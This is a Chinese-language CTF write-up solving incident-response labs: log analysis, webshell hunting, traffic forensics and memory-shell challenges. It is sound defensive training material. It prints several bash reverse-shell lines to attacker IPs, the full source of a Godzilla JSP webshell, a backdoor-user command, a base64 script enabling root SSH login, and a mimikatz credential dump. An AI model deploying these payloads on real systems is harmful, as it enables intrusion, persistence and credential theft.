玄机应急响应_ALL_WriteUp
SpiritM0nK3y 发表于 江苏 CTF 2427浏览 · 2024-10-30 15:12

看玄机上了不少新题,一起都做了

第一章 应急响应-Linux入侵排查

1.web目录存在木马,请找到木马的密码提交

flag{1}

2.服务器疑似存在不死马,请找到不死马的密码提交

经典md5马,cmd5解一下

flag{hello}

3.不死马是通过哪个文件生成的,请提交文件名

flag{index.php}

4.黑客留下了木马文件,请找出黑客的服务器ip提交

一眼shell(1).elf

运行抓一下流量

flag{10.11.55.21}

5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交

flag{3333}

第一章 应急响应-webshell查杀

1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}

先打个包下下来,tar zcvf ../tar.tar /var/www/html

这四个都是webshell,看要求,要有flag格式的,找到gz.php

2.黑客使用的什么工具的shell github地址的md5 flag{md5}

一眼哥斯拉

https://github.com/BeichenDream/Godzilla

md5一下

flag{39392de3218c333f794befef07ac9257}

3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx

/var/www/html/include/Db/.Mysqli.php

md5一下

flag{aebac0e58cd6c5fad1695ee4d1ac1919}

4.黑客免杀马完整路径 md5 flag{md5}

top.php,经过处理了,但是还是一眼webshell

/var/www/html/wap/top.php

md5一下

flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}

第一章 应急响应-Linux日志分析

1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割

root@ip-10-0-10-2:/var/log# cat /var/log/auth.lo* | grep -a "Failed password for" | grep "root" | grep -Po '(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])(\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)){3}' |sort|uniq -c|sort -nr
      4 192.168.200.2
      1 192.168.200.32
      1 192.168.200.31
root@ip-10-0-10-2:/var/log

flag{192.168.200.2,192.168.200.31,192.168.200.32}

2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割

root@ip-10-0-10-2:/var/log# cat /var/log/auth.lo* | grep -a "Accepted" | grep -Po '(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])(\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)){3}' |sort|uniq -c|sort -nr
      4 112.36.207.199
      2 192.168.200.2
root@ip-10-0-10-2:/var/log#

3.爆破用户名字典是什么?如果有多个使用","分割

root@ip-10-0-10-2:/var/log# cat /var/log/auth.log.1 | grep -a "Failed password" | perl -e 'while($_=<>){ /for(.*?)from/; print "$1\n";}'|sort|uniq -c|sort -nr
      6  root 
      5  invalid user user 
      5  invalid user hello 
      5  invalid user  
      1  invalid user test3 
      1  invalid user test2 
      1  invalid user test1 
root@ip-10-0-10-2:/var/log#

4.登陆成功的IP共爆破了多少次

root@ip-10-0-10-2:/var/log# cat /var/log/auth.lo* | grep -a "Failed password for" | grep "192.168.200.2" | grep "root"
Aug  1 07:47:13 linux-rz sshd[7497]: Failed password for root from 192.168.200.2 port 34703 ssh2
Aug  1 07:47:18 linux-rz sshd[7499]: Failed password for root from 192.168.200.2 port 46671 ssh2
Aug  1 07:47:20 linux-rz sshd[7501]: Failed password for root from 192.168.200.2 port 39967 ssh2
Aug  1 07:47:22 linux-rz sshd[7503]: Failed password for root from 192.168.200.2 port 46647 ssh2
root@ip-10-0-10-2:/var/log#

5.黑客登陆主机后新建了一个后门用户,用户名是多少

也可以看new user

第二章日志分析-mysql应急响应

大概看一眼服务

1.黑客第一次写入的shell flag{关键字符串}

常规思路先找webshell,找到sh.php

2.黑客反弹shell的ip flag{ip}

找access日志,看一下这个sh.php的活动

发现是用adminer.php执行mysql命令,写了一个udf文件,还写了一个sh文件

192.168.100.13

3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx

找到so文件路径

发现有两个异常的提权文件,都试试发现是第二个

4.黑客获取的权限 flag{whoami后的值}

sh文件的权限是mysql的

第二章日志分析-redis应急响应

很有可能是redis写ssh秘钥

推测正确

1.通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;

可以从redis下手,也可以从ssh下手,但是两个ip不一样,实际情况应该是一样的,还是以redis的为主

2.通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;

find找到exp.so

3.通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交

直接crontab乱码,说明被写了redis的计划任务,手动找一下看看

4.通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交

xj-test-user

再网上找redis主从复制RCE的exp就行

5.通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;

ps命令被替换了,一个是可以根据时间大体判断,另一个是可以对比Linux默认命令

第二章日志分析-apache日志分析

1、提交当天访问次数最多的IP,即黑客IP:

一堆404,一看就是

192.168.200.2

2、黑客使用的浏览器指纹是什么,提交指纹的md5:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

md5一下

2d6330f380f44ac20f3a02eed0958f66

3、查看index.php页面被访问的次数,提交次数:

cat access.log.1 |grep "/index.php" |wc -l

其实不应该是27的,因为还有referer的值

4、查看黑客IP访问了多少次,提交次数:

注意有个192.168.200.211,要排除

5、查看2023年8月03日8时这一个小时内有多少IP访问,提交次数:

cat access.log.1 | grep "03/Aug/2023:08:" | awk '{print $1}' | sort | uniq -c

第三章 权限维持-linux权限维持-隐藏

ssh root@env.xj.edisec.net -p 密码 xjqxwcyc

sh.php,sql注入写入的webshell

看日志,可以看到是写了一个sh,内容是bash -i >&/dev/tcp/192.168.100.13/777 0>&1

1.黑客隐藏的隐藏的文件 完整路径md5

/tmp/.temp/libprocesshider/processhider.c

内容是隐藏1.py的进程

2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}

114.114.114.121:9999

3.黑客提权所用的命令 完整路径的md5 flag{md5}

en 卡住了 虽然感觉是find提权,但是没有证据,翻wp

结果是切换到ctf用户然后挨个试(

find / -type f -perm -4000 2>/dev/null

4.黑客尝试注入恶意代码的工具完整路径md5

又卡住了,翻wp,找所有.xxx的目录?

find / -name ".*" 2>/dev/null | grep -v "^\/sys\/"

opt下有个可疑的,cymothoa-1-beta是一个后门工具

flag{087c267368ece4fcf422ff733b51aed9}

5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec值 作为flag提交 flag{/xxx/xxx/xxx}

抽象,什么叫查询的 Exec 值

flag{/usr/bin/python3.4}

第四章 windows实战-向日葵

通过本地 PC RDP到服务器并且找到黑客首次攻击成功的时间为 为多少,将黑客首次攻击成功的时间为 作为 FLAG 提交(2028-03-26 08:11:25.123);

盲猜是用向日葵那个RCE进的,搜一下特征,2024-03-26 10:16:25.585

通过本地 PC RDP到服务器并且找到黑客攻击的 IP 为多少,将黑客攻击 IP 作为 FLAG 提交;

192.168.31.45

通过本地 PC RDP到服务器并且找到黑客托管恶意程序 IP 为,将黑客托管恶意程序 IP 作为 FLAG 提交;

192.168.31.249

找到黑客解密 DEC 文件,将黑客DEC 文件的 md5 作为 FLAG 提交;

有一个公钥文件,搜一下,确定勒索软件就是这个

下下来他附带的私钥就可以了,但是好像作者用的私钥不是原私钥,原私钥再群里

flag{5ad8d202f80202f6d31e077fc9b0fc6b}

改一下源码,用新的私钥解

flag{EDISEC_15c2e33e-b93f-452c-9523-bbb9e2090cd1}

第四章 windows实战-emlog

通过本地 PC RDP到服务器并且找到黑客植入 shell,将黑客植入 shell 的密码 作为 FLAG 提交;

WWW\WWW\content\plugins\tips\shell.php

通过本地 PC RDP到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交

通过本地 PC RDP到服务器并且分析黑客的隐藏账户名称,将黑客隐藏账户名称作为 FLAG 提交

有个隐藏用户,如果是影子用户的话这样看不到,可能得配合一下注册表

通过本地 PC RDP到服务器并且分析黑客的挖矿程序的矿池域名,将黑客挖矿程序的矿池域名称作为(仅域名)FLAG 提交

有点假,C:\Users\hacker138$\Desktop有个kuang.exe,一看就python打包的

懒得反编译看了,扔vt,排除那些正常的

第四章 windows实战-wordpress

web目录扫到俩后门,看看内容,是post.php写.x.php

nginx服务log日志拖下来

请提交攻击者攻击成功的第一时间,格式:flag{YY:MM:DD hh:mm:ss}

第一时间要么是登上WordPress的时间,要么是写webshell的时间,试了试是login的时间flag{2023:04:29 22:45:23}

请提交攻击者的浏览器版本 flag{Firgfox/2200}

看着ua都不太一样,选访问x.php执行命令的那个

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0

请提交攻击者目录扫描所使用的工具名称

往上翻翻扫目录的部分

Fuzz Faster U Fool v1.5.0

找到攻击者写入的恶意后门文件,提交文件名(完整路径

x.php那个

C:\phpstudy_pro\WWW\.x.php

找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径)

post.php那个

请指出可疑进程采用的自动启动的方式,启动的脚本的名字 flag{1.exe}

想着火绒杀毒看看,太慢了,用everything看,找x.php之后的,有个x.bat比较可疑

内容是运行C:\Windows\360.exe,但是Windows目录下只有个360.zip,360.exe在zip里面

试了试,flag是flag{x.bat}

第四章-windows日志分析

审计桌面的logs日志,定位所有扫描IP,并提交扫描次数

这俩包扫描的

6331+54=6385

审计相关日志,提交rdp被爆破失败次数

筛选4625,有2594个

审计相关日志,提交成功登录rdp的远程IP地址,多个以&连接,以从小到大顺序排序提交

EventLog.EventID == 4624 AND EventLog.EventData["IpAddress"] != "-" AND EventLog.EventData["IpAddress"] != "127.0.0.1"

有个192.168.150.33,但是看登录时间太早了,早于攻击时间,所以可以排除

flag{192.168.150.1&192.168.150.128&192.168.150.178}

提交黑客创建的隐藏账号

试了试是flag{hackers$}

提交黑客创建的影子账号

flag{hacker$}

黑客植入了一个远程shell,审计相关进程和自启动项提交该程序名字

看启动项包有问题的

xiaowei.exe

提交远程shell程序的连接IP+端口,以IP:port方式提交

黑客使用了计划任务来定时执行某shell程序,提交此程序名字

第五章 linux实战-CMS01

正常应该重置一下宝塔面板然后从面板入手

8821是cms端口,12485是宝塔应该

1,提交攻击者IP

192.168.20.1

2,提交攻击者修改的管理员密码(明文)

select * from x2_user\G;一共有四个用户,默认管理员是peadmin

mysql> select * from x2_user\G;
*************************** 1. row ***************************
          userid: 1
      useropenid: 
     userunionid: NULL
        username: peadmin
       useremail: 958074@163.com
    userpassword: f6f6eb5ace977d7e114377cc7098b7e3
        usercoin: 279
       userregip: 127.0.0.1
     userregtime: 1471795200
     userlogtime: 0
  userverifytime: NULL
     usergroupid: 1
    usermoduleid: 0
      useranswer: NULL
    manager_apps: a:7:{i:0;s:4:"user";i:1;s:7:"content";i:2;s:4:"exam";i:3;s:8:"document";i:4;s:6:"course";i:5;s:4:"bank";i:6;s:8:"autoform";}
    usertruename: 111111111111111111
    normal_favor: 
teacher_subjects: 
     userprofile: 
      usergender: 
       userphone: 
     useraddress: 信息部
       userphoto: files/attach/images/content/20230802/16909740072788.jpg
      userstatus: 3
      normal_sfz:

Network@2020

3,提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)

网上搜一下这个系统的漏洞

跟日志里的能对起来,应该就是这个在后台模版写了个一句话木马

index.php?user-app-register

3,提交Webshell连接密码

打包下下来没扫出来,后台应该好看很多,所以这里只能盲猜一手了

流量里也能看出来,搜password就行

4,提交数据包的flag1

flag1{Network@_2020_Hack}

5,提交攻击者使用的后续上传的木马文件名称

version2.php

6,提交攻击者隐藏的flag2

flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}

7,提交攻击者隐藏的flag3

flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

第五章 linux实战-黑链

打眼一看,应该是传了个webshell然后蚁剑一键bypassdisablefunction

再打眼一看,应该是传统的进后台编辑404模版写webshell

再往前翻发现是一个弱口令admin:admin,但是试了试没登上,再往后翻发现有点不对劲,可能是前台写webshell

看流量

Cookie: 09f1f9758c26c309477b55f3a4bac8de__typecho_remember_author=haha; 09f1f9758c26c309477b55f3a4bac8de__typecho_remember_mail=haha@haha.com; 09f1f9758c26c309477b55f3a4bac8de__typecho_remember_url=http://xxx.xxx.com/"></a><script/src=http://192.168.20.130/poc1.js></script><a/href="#

正好根目录下有个poc1.js,看起来是用这个js写的webshell,网上也能搜到这个漏洞

找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx}

首页就有个模拟黑链,那全局搜就可以了

/var/www/html/usr/themes/default/header.php

webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/}

flag{/var/www/html/usr/themes/default/404.php}

黑客注入黑链文件的 md5 md5sum file flag{md5}

根目录下有个poc1.js,也有问题

攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/}

/index.php/archives/1/

第五章 linux实战-挖矿

应急响应工程师在内网服务器发现有台主机 cpu 占用过高,猜测可能是中了挖矿病毒,请溯源分析,提交对应的报告给应急小组
虚拟机账号密码 root websecyjxy web 端口为 8081
1、黑客的IP是? flag格式:flag{黑客的ip地址},如:flag{127.0.0.1}

看一眼就知道这个ip在大量扫描,不正常,192.168.10.135

404.php,应该是进后台改的

但是日志里并没有访问过404.php,姑且认为是处理过痕迹了

2、黑客攻陷网站的具体时间是? flag格式:flag{年-月-日 时:分:秒},如:flag{2023-12-24 22:23:24}

并不是植入马的时间,那应该就是登录后台的时间了,日志里不好分析,可以翻翻数据库

/www/mysql_data/mysql-5.7.27/data/websec

预期是自己爆破进去看登录日志,但是实际上可以直接问管理员登进后台看的

flag{2023-12-22 19:08:34}

3、黑客上传webshell的名称及密码是? flag格式:flag{黑客上传的webshell名称-webshell密码},如:flag{webshell.php-pass}

看日志里有不少涉及到edit的,其实也能猜出来是编辑器写马

flag{404.php-cmd}

4、黑客提权后设置的后门文件名称是? flag格式:flag{后门文件绝对路径加上名称},如:flag{/etc/passwd}

常规suid提权,find命令,history也能看到对find进行的权限操作

flag{/usr/bin/find}

5、对黑客上传的挖矿病毒进行分析,获取隐藏的Flag

常规计划任务,没啥新意

大概是拼接下载了一个恶意文件,找到他,在/etc/.cache

实现了各种功能吧算是

第五章 Windows 实战-evtx 文件分析

1.将黑客成功登录系统所使用的IP地址作为Flag值提交

flag{192.168.36.133}

2.黑客成功登录系统后修改了登录用户的用户名,将修改后的用户名作为Flag值提交

3.黑客成功登录系统后成功访问了一个关键位置的文件,将该文件名称(文件名称不包含后缀)作为Flag值提交

用messageanalyzer不知道为啥搜不到eventdata的数据,只能用logparser来代替了

4663为试图访问的事件id

DISTINCT 进行了去重排列

LogParser.exe -i:EVT "SELECT DISTINCT EXTRACT_TOKEN(Strings,6,'|') FROM 安全.evtx WHERE EventID=4663" -q:ON

4.黑客成功登录系统后重启过几次数据库服务,将最后一次重启数据库服务后数据库服务的进程ID号作为Flag值提交

不知道事件id是100也没关系,筛选mysql字眼的就行

LogParser.exe -i:EVT "SELECT Strings FROM 应用程序.evtx WHERE EventID=100" -q:ON | findstr mysql

5.黑客成功登录系统后修改了登录用户的用户名并对系统执行了多次重启操作,将黑客使用修改后的用户重启系统的次数作为Flag值提交。

LogParser.exe -i:EVT "SELECT Strings FROM 系统.evtx WHERE EventID=1074 AND EXTRACT_TOKEN(Strings,4,'|')='重新启动'" -q:ON | findstr winlogon | find /c /v ""

第五章 linux实战-挖矿 二

是个虚拟机,导入之后ssh连上看方便

找出被黑客修改的系统别名,并将倒数第二个别名作为Flag值提交;

离谱嗷,alias还跟标准的不一样

flag{userdel}

找出系统中被植入的后门用户删除掉,并将后门用户的账号作为Flag值提交(多个用户名之间以英文逗号分割,如:admin,root)

但是特权用户只有sclipicibosu

找出黑客在admin用户家目录中添加的ssh后门,将后门的写入时间作为Flag值(提交的时间格式为:2022-01-12 08:08:18

/home/admin下的ssh目录

找出黑客篡改过的环境变量文件,将文件的md5值作为Flag值提交

/home/admin/下有个placi,里面对~/.bashrc进行了大量修改

找的没错,但是是空的,md5sum肯定也不对了,跟网上的wp不一样

而且大量命令都被篡改了,看网上的好像并没有被篡改

找出黑客修改了bin目录下的某个文件,将该文件的格式作为Flag值提交

只有俩修改时间22年的,挨个看看,sshd有问题

找出黑客植入系统中的挖矿病毒,将矿池的钱包地址作为Flag值(提交格式为:0xa1d1fadd4fa30987b7fe4f8721b022f4b4ffc9f8)提交

找一下sshd里面运行的这个文件.b4nd1d0

然后去看看

第六章 流量特征分析-小王公司收到的钓鱼邮件

下载数据包文件 hacker1.pacapng,分析恶意程序访问了内嵌 URL 获取了 zip 压缩包,该 URL 是什么将该 URL作为 FLAG 提交 FLAG(形式:flag{xxxx.co.xxxx/w0ks//?YO=xxxxxxx}) (无需 http、https);

tsdandassociates.co.sz/w0ks//?YO=1702920835

下载数据包文件 hacker1.pacapng,分析获取到的 zip 压缩包的 MD5 是什么 作为 FLAG 提交 FLAG(形式:flag{md5});

导出然后计算md5

下载数据包文件 hacker1.pacapng,分析 zip 压缩包通过加载其中的 javascript 文件到另一个域名下载后续恶意程序, 该域名是什么?提交答案:flag{域名}(无需 http、https)

后面有大量的smb协议,推测是smb下载的

sneakytree.farm并不对,那说明是tls加密了,就只能撕一下js了

处理完是https://shakyastatuestrade.com/IhA6F/616231603

第六章 流量特征分析-蚂蚁爱上树

管理员Admin账号的密码是什么?

这个包有问题,我说怎么脚本到这就卡住了

手动解一下

cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E]

LSASS.exe的程序进程ID是多少?

用户WIN101的密码是什么?

翻到最大有个mdmp文件,这个包是下载了C:/Temp/OnlineShopBack.zip

Authentication Id : 0 ; 1183799 (00000000:00121037)
Session           : Interactive from 1
User Name         : win101
Domain            : VULNTARGET
Logon Server      : WIN-UH20PRD3EAO
Logon Time        : 2023/10/19 11:35:08
SID               : S-1-5-21-3374851086-947483859-3378876003-1103
        msv :
         [00000003] Primary
         * Username : win101
         * Domain   : VULNTARGET
         * NTLM     : 282d975e35846022476068ab5a3d72df
         * SHA1     : bc9ecca8d006d8152bd51db558221a0540c9d604
         * DPAPI    : 8d6103509e746ac0ed9641f7c21d7cf7
        tspkg :
        wdigest :
         * Username : win101
         * Domain   : VULNTARGET
         * Password : (null)
        kerberos :
         * Username : win101
         * Domain   : VULNTARGET.COM
         * Password : (null)
        ssp :
        credman :
        cloudap :

ntml解出来是admin#123

第六章 流量特征分析-蚁剑流量分析

1.木马的连接密码是多少

1

2.黑客执行的第一个命令是什么

id

3.黑客读取了哪个文件的内容,提交文件绝对路径

/etc/passwd

4.黑客上传了什么文件到服务器,提交文件名

5.黑客上传的文件内容是什么

6.黑客下载了哪个文件,提交文件绝对路径

/var/www/html/config.php

第六章 流量特征分析-waf 上的截获的黑客攻击流量

1.黑客成功登录系统的密码 flag{xxxxxxxxxxxxxxx}

但是好像不对,user也不是admin,搜索password=且302 Found,排除失败的情况,发现了admin!@#pass123

2.黑客发现的关键字符串 flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

3.黑客找到的数据库密码 flag{xxxxxxxxxxxxxxxx}

大概是是读取了配置文件,所以搜<?php

第六章 流量特征分析-常见攻击事件 tomcat

1、在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}

大量SYN请求,所以是14.0.0.120

2、找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}

ip138查一下,是广州

3、哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}

往后翻,是8080

4、经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}

往后翻,可以看到ua是User-Agent: gobuster/3.6

5、攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123}

追踪流没看见,没想到是在这...

admin-tomcat

6、攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}

传了一个war包

7、攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息

flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}

第六章-哥斯拉4.0流量分析

黑客的IP是什么?

192.168.31.190

黑客是通过什么漏洞进入服务器的?(提交CVE编号)

翻了翻,一眼Tomcat PUT方法任意文件上传漏洞文件上传

flag{CVE-2017-12615}

黑客上传的木马文件名是什么?(提交文件名)

hello.jsp

黑客上传的木马连接密码是什么?

7f0e6f

<% !String xc = "1710acba6220f62b";
String pass = "7f0e6f";
String md5 = md5(pass + xc);
class X extends ClassLoader {
    public X(ClassLoader z) {
        super(z);
    }
    public Class Q(byte[] cb) {
        return super.defineClass(cb, 0, cb.length);
    }
}
public byte[] x(byte[] s, boolean m) {
    try {
        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
        c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
        return c.doFinal(s);
    } catch (Exception e) {
        return null;
    }
}
public static String md5(String s) {
    String ret = null;
    try {
        java.security.MessageDigest m;
        m = java.security.MessageDigest.getInstance("MD5");
        m.update(s.getBytes(), 0, s.length());
        ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
    } catch (Exception e) {}
    return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
    Class base64;
    String value = null;
    try {
        base64 = Class.forName("java.util.Base64");
        Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
        value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] {
            byte[].class
        }).invoke(Encoder, new Object[] {
            bs
        });
    } catch (Exception e) {
        try {
            base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = base64.newInstance();
            value = (String) Encoder.getClass().getMethod("encode", new Class[] {
                byte[].class
            }).invoke(Encoder, new Object[] {
                bs
            });
        } catch (Exception e2) {}
    }
    return value;
}
public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[] {
                String.class
            }).invoke(decoder, new Object[] {
                bs
            });
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] {
                    String.class
                }).invoke(decoder, new Object[] {
                    bs
                });
            } catch (Exception e2) {}
        }
        return value;
    } %> <%
    try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            Object f = ((Class) session.getAttribute("payload")).newInstance();
            f.equals(arrOut);
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0, 16));
            f.toString();
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {} %>

黑客上传的木马解密密钥是什么?

1710acba6220f62b

黑客连接webshell后执行的第一条命令是什么?

uname -r

黑客连接webshell时查询当前shell的权限是什么?

root

黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?

flag{Debian GNU/Linux 10 (buster)}

黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)

上面这个失败了,下面这个成功了,flag{dpkg -l libpam-modules:amd64}

黑客留下后门的反连的IP和PORT是什么?(IP:PORT)

/bin/bash -i >& /dev/tcp/192.168.31.143/1313 0>&1

黑客通过什么文件留下了后门?

pam_unix.so

看到是pam后门,但是tmp目录没有,直接登上服务器进入pam的目录

黑客设置的后门密码是什么?

在认证模块里看到密码XJ@123,直接strings也可以看到

黑客的恶意dnslog服务器地址是什么?

上图有c0ee2ad2d8.ipv6.xxx.eu.org.

第七章 常见攻击事件分析--钓鱼邮件

请分析获取黑客发送钓鱼邮件时使用的IP,flag格式: flag{11.22.33.44}

请分析获取黑客钓鱼邮件中使用的木马程序的控制端IP

打开一下,另存为

不想分析,就算算扔微步看看

黑客在被控服务器上创建了webshell,请分析获取webshell的文件名,请使用完整文件格式,flag格式:flag{/var/www/html/shell.php}

找到马,在/var/www/html/admin/ebak/ReData.php

flag4: 黑客在被控服务器上创建了内网代理隐蔽通信隧道,请分析获取该隧道程序的文件名,请使用完整文件路径,flag格式:flag{/opt/apache2/shell}

有个tmp目录,一看conf文件就有问题

flag{/var/tmp/proc/mysql}

第八章 内存马分析-java01-nacos

ssh root@ip 密码xjnacos 启动 /var/local/下的 autorun.sh即可正常启动

好像web没法访问,不知道为啥

问题 1 nacos 用户密码的密文值作为 flag 提交 flag{密文}

问题 2 shiro 的key为多少 shiro 的 key 请记录下来 (备注请记录下,可能有用)

本来想着直接grep搜shiro,但是有点慢,找到一个config

nacos_config_export_20231206050259.zip

KduO0i+zUIMcNNJnsZwU9Q==

问题 3 靶机内核版本为 flag{}

第八章 内存马分析-java02-shiro

1.将 shiro 的 key 作为 flag 提交

KduO0i+zUIMcNNJnsZwU9Q==

2.隐藏用户后删除,并将隐藏用户名作为 flag 提交

爆破出利用链

看一下shadow

3.分析app.jar文件是否存在后门,并把后门路由名称作为 flag 提交 <flag{/manager}>

curl、wget那些连不出来,shell也弹不出来。离大谱

有个坑,回显方式要是Tomcatecho才行,自动爆破的那个echo不执行,不知道为啥

那就只能想办法ssh连上了,有一个guest用户密码是123456,没连上,说明可能没开密码登录权限

echo IyEvYmluL2Jhc2gNCg0KZWNobyAiUGVybWl0Um9vdExvZ2luIHllcyIgPj4gL2V0Yy9zc2gvc3NoZF9jb25maWc= |base64 -d >12.sh
chmod 777 12.sh
bash ./12.sh

可算是连上来了

4.分析app.jar文件,将后门的密码作为 flag 提交

cmd

第八章 内存马分析-java03-fastjson

看不太懂fastjson,后面在仔细学学

fastjson版本作为 flag 提交 flag{x.x.66}

最常见的探测fastjson版本的方法,{"@type":"java.lang.AutoCloseable",这里把@type unicode编码了一下

内核版本作为 flag 提交 flag{Dexxxxxxxxxux}

由于环境不出网,所以要用c3p0,网上找个exp,依然是最常规的bypass,Unicode编码一下

第九章-blueteam 的小心思

找到一个马

攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。

数据库查了一下没解出来

看看流量,登录成功所以302跳转

flag{d63edb0e9df4cf411398e3658c0237e0}

攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。

cpg.php是经过pluginmgr.php传上来的

找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。

攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。

流量里看见下了一个is.world文件

找一下,然后算算md5

攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。

看看shadow

攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。

盲猜是ssh后门,但是好像并不是

可以看到isworld已经被触发了

pstree看就是ssh执行的

最后在profile里面找到了

攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。

.bashrc,反弹shell的

攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。

有空格的数据库不知道怎么进,烦

进来之后发现进不去具体的表,所以这个数据库有问题

解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。

找一下晚于webshell,早于Balance的

find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm

找到/var/lib/mysql/clockup.php,aes加了个密,key是当时的时间,也就是2023-11-18,也就是458ca3bb3ea8e3568e8789e0e4051971,iv是c8203eb05fa13ebf

找个在线的解一下,盲猜是Chef那个

因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。

suid看一下

着重看一下sudo的配置

systemctl status apache2.service能用来提权?知识盲区,怀疑,还是%admin之类的

第九章-blueteam 的小心思2

虽然是404,但是识别出来是nacos,带着路径访问一下

Nacos控制台默认口令漏洞(nacos,nacos)
Nacos token.secret.key默认配置(QVD-2023-6271)
Nacos-client Yaml反序列化漏洞
Nacos Jraft Hessian反序列化漏洞
Nacos User-Agent权限绕过(CVE-2021-29441)
Nacos Derby SQL注入漏洞 (CNVD-2020-67618)
Nacos 2.2.0 identity key value 硬编码权限绕过
Nacos 默认配置未授权访问漏洞

版本是2.2.3,好像并不存在上述漏洞

5000端口有未授权,下下来镜像

docker pull 52.83.246.245:5000/nacos

翻到配置文件

nacos 的 key 为多少 flag{base64decodekey}

eGpuYWNvczIwMjNwZW5ndWluZWRpc2VjZmxhZ2ZsYWdmbGFn

手动搭建一下nacos

hackme@hackme-virtual-machine:~/桌面$ mysql
ERROR 1045 (28000): Access denied for user 'hackme'@'localhost' (using password: NO)
hackme@hackme-virtual-machine:~/桌面$ mysql -uroot -p123456
Welcome to the MariaDB monitor.  Commands end with ; or \g.
